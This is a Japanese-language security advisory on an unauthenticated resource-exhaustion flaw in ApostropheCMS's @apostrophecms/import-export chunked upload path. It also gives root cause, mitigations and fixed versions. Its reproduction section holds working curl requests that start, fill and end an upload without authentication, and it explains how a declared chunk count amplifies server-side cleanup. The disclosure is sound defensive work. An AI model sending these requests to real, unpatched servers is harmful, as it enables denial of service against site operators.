ApostropheCMS: 認証なしのリソース枯渇の脆弱性(@apostrophecms/import-exportの事前認証aposBigUpload処理におけるもの)

## 概要

`@apostrophecms/import-export`で使用されるチャンク化されたインポートアップロードパスにおいて、認証なしでサービス拒否を引き起こす可能性がある脆弱性が存在します。

影響を受けるインポートAPIのルートは、実際のインポートハンドラが認証チェックを実行する前に、以下の関数を呼び出します。

`self.apos.http.bigUploadMiddleware()`

`bigUploadMiddleware()`に`authorize`コールバックが提供されていないため、認証されていないリクエストが、認証チェック(`req.user`)によってインポートが拒否される前に、`aposBigUpload`の`start`、`chunk`、および`end`操作に到達する可能性があります。

その結果、認証されていないリモート攻撃者が、サーバー側のアップロード状態を作成したり、アップロードストレージにチャンクデータを書き込んだり、一時ファイル処理をトリガーしたり、攻撃者が制御するクリーンアップ操作を実行したりする可能性があります。これは、認証が適用される前に発生します。

## 影響を受けるコンポーネント

パッケージ:

`@apostrophecms/import-export`

確認された影響を受けるバージョン:

`3.6.2`

潜在的に影響を受ける可能性のある以前のバージョン:

この問題は、現在のbig-uploadベースのインポート実装が存在する、以前の3.xリリースのバージョンに影響を与える可能性があります。正確な導入バージョンはまだ完全に検証されておらず、開発者が影響を受けるバージョンの範囲を確認することをお勧めします。

## 脆弱性の種類

主なもの:

**CWE-400 — 制御されていないリソース消費**

関連するもの:

**CWE-306 — 重要な機能に対する認証の欠如**

**CWE-770 — 制限またはスロットリングなしのリソース割り当て**

## 技術的な詳細

ページインポートのルートは、以下のミドルウェアチェーンを登録しています。

`packages/import-export/modules/@apostrophecms/import-export-page/index.js`

```javascript
importExportImport: [
self.apos.http.bigUploadMiddleware(),
async (req) => {
return self.apos.modules['@apostrophecms/import-export']
.import(req, self.__meta.name);
}
]
```

`bigUploadMiddleware()`に`authorize`コールバックは渡されていません。

`bigUploadMiddleware()`の実装では、`authorize`コールバックを明示的にサポートしており、`aposBigUpload`プロトコルを処理する前に、その認証処理を実行します。

そのコールバックがない場合、以下のパラメータを含むリクエストは、すぐに処理されます。

`aposBigUpload[type]=start`

`aposBigUpload[type]=chunk`

または

`aposBigUpload[type]=end`

実際の認証チェックは、後で以下のファイルで行われます。

`packages/import-export/lib/methods/import.js`

```javascript
async import(req, moduleName) {
if (!req.user) {
throw self.apos.error('forbidden');
}
```

これは、チャンクアップロードミドルウェアがサーバー側の処理を完了した後に、認証が行われることを意味します。

## 攻撃の流れ

### 1. 開始

認証されていない攻撃者が、`aposBigUpload[type]=start`リクエストを送信します。

サーバーは、アップロードIDを生成し、攻撃者から提供されたアップロードメタデータを保存します。このメタデータには、宣言された`chunks`(チャンク数)が含まれます。

### 2. チャンク

攻撃者は、チャンクデータをアップロードできます。

`bigUploadChunk()`は、攻撃者が制御するデータを以下の場所にコピーします。

`/big-uploads/<id>-<n>-<chunk>`

### 3. 終了

攻撃者は、`aposBigUpload[type]=end`リクエストを送信します。

`bigUploadEnd()`は、アップロード処理を開始し、一時ファイルを作成した後、次のインポートハンドラを呼び出します。

この処理が完了した後に、`import()`における後続の認証チェックが実行されます。

### 4. クリーンアップの増幅

攻撃者が制御する`chunks`の値は、`bigUploadCleanupOne()`でも使用されます。

```javascript
for (const { chunks } of Object.values(bigUpload.files)) {
for (let i = 0; (i < chunks); i++) {
await ufs.remove(...);
}
}
```

アップロードの初期化時に、宣言されたチャンク数に対する小さな上限値が適用されているようには見えません。

これにより、認証されていない攻撃者は、アップロードに対するファイルシステムクリーンアップ操作の回数を増やすことができます。

## 実証

以下の再現は、隔離されたテスト環境でのみ実施されました。

### 認証なしでアップロードを開始

```bash
curl -s -X POST \
'http://localhost:3000/api/v1/@apostrophecms/page/importExportImport?aposBigUpload[type]=start' \
-H 'Content-Type: application/json' \
--data '{"files":{"file":{"name":"evil.tar.gz","size":4,"type":"application/gzip","chunks":1}}}'
```

サーバーは、認証されたセッションが存在しないにもかかわらず、アップロードIDを返します。

### 一部のデータをアップロードする

```bash
printf 'PWN!' >/tmp/chunk.bin

curl -s -X POST \
'http://localhost:3000/api/v1/@apostrophecms/page/importExportImport?aposBigUpload[type]=chunk&aposBigUpload[id]=<ID>&aposBigUpload[n]=0&aposBigUpload[chunk]=0' \
-F 'chunk=@/tmp/chunk.bin;type=application/octet-stream'
```

このリクエストは成功し、サーバー側のアップロードストレージが使用されます。

### アップロードを完了する

```bash
curl -i -X POST \
'http://localhost:3000/api/v1/@apostrophecms/page/importExportImport?aposBigUpload[type]=end&aposBigUpload[id]=<ID>'
```

観察された動作:

* `start` は、認証なしでHTTP 200とアップロードIDを返します。
* `chunk` は、HTTP 200を返し、サーバー側のチャンクストレージを使用します。
* `end` は、最終的に下流の認証チェックに到達し、拒否されます。
* しかし、認証拒否が発生する前に、サーバー側の大規模なアップロード処理がすでに完了しています。

隔離された環境でテストした結果:

* `chunks=1` の場合、クリーンアップの削除試行が1回行われました。
* `chunks=50` の場合、クリーンアップの削除試行が50回行われました。

これは、攻撃者が制御するチャンクの数が、サーバー側のクリーンアップ処理に直接影響を与えることを示しています。

## セキュリティへの影響

この脆弱性により、認証されていないリモート攻撃者が、許可されたインポートユーザーのみがアクセスできるはずの、サーバー側のストレージおよびファイルシステム操作を引き起こす可能性があります。

考えられる結果:

* アップロードと一時ストレージの使用量。
* 認証されていないユーザーによるサーバー側のアップロード状態の作成。
* 繰り返されるファイルシステムI/O。
* 攻撃者によって制御されるチャンク数に基づいたクリーンアップの増幅。
* 攻撃が繰り返されたり、十分に増幅された場合に、サービスの低下やサービス拒否の可能性。

## 根本原因

認証は、チャンク化されたアップロードミドルウェアの前に、下流のインポートハンドラで適用されています。

ミドルウェア自体は、すでに「big-upload」機能の不正使用を防ぐための`authorize`コールバックをサポートしています。

## 推奨される対策

すべての`aposBigUpload`操作が処理される前に、認証を必須とします。

例:

* すべてのインポートルートで、`bigUploadMiddleware()`に適切な`authorize`コールバックを渡します。
* `start`、`chunk`、または`end`の前に、認証されていないユーザーを拒否します。
* 宣言されたチャンク数の合理的な制限を設けます。
* 宣言されたサイズを、実際にアップロードされたデータに対して検証します。
* ユーザーごとのストレージ/レート制限と、グローバルなストレージ/レート制限を導入します。
* 下流の処理が失敗した場合、一時ファイルが削除されるようにします。
* 匿名ユーザーからの`start`、`chunk`、および`end`リクエストが、アップロード状態やファイルが作成される前に拒否されることを確認する、回帰テストを追加します。

関連する修正コミット:

`d3ff8c9bb001be1acf7fdc3f035190250ac64b45`

## 研究者

**Kai Zhi**

GitHub:

**https://github.com/kaizhi888**

影響を受けるパッケージ:
- npm (JavaScript) apostrophe: 影響あり (バージョン4.33.0未満)、修正済み (バージョン4.33.0)
- npm (JavaScript) @apostrophecms/import-export: 影響あり (バージョン3.7.0未満)、修正済み (バージョン3.7.0)